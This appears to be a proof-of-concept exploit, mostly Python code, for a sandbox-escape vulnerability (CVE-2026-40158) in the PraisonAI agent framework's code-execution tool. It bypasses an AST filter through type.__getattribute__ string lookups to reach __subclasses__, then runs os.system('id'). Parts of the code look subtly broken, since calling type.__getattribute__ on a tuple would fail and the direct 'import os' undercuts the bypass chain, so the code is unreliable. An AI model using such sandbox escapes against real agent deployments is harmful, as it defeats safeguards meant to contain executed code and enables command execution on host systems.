CVE-2026-40158 PraisonAI沙箱绕过致代码执行漏洞

# PoC for CVE-2026-40158 # The sandbox blocks direct attribute access like ().__class__ # But it fails to block dynamic resolution using type.__getattribute__ malicious_code = """ # Bypass the AST filter by using type.__getattribute__ with string constants # The filter checks for ast.Attribute nodes, but '__class__' here is just a string constant obj_class = type.__getattribute__((), '__class__') base_classes = type.__getattribute__(obj_class, '__bases__') # Iterate to find a suitable base class to break out for base in base_classes: try: # Access __subclasses__ dynamically all_subclasses = type.__getattribute__(base, '__subclasses__') print(f"Found subclasses: {all_subclasses}") # Further exploitation logic would go here # e.g., finding subprocess.Popen to execute commands for sub in all_subclasses: if 'catch_warnings' in str(sub): import os os.system('id') except Exception as e: pass """ # In a real scenario, this string would be passed to the vulnerable function: # praisonaiagents.tools.python_tools._execute_code_direct(malicious_code) print("PoC generated. This code bypasses AST checks preventing __class__ and __subclasses__ access.")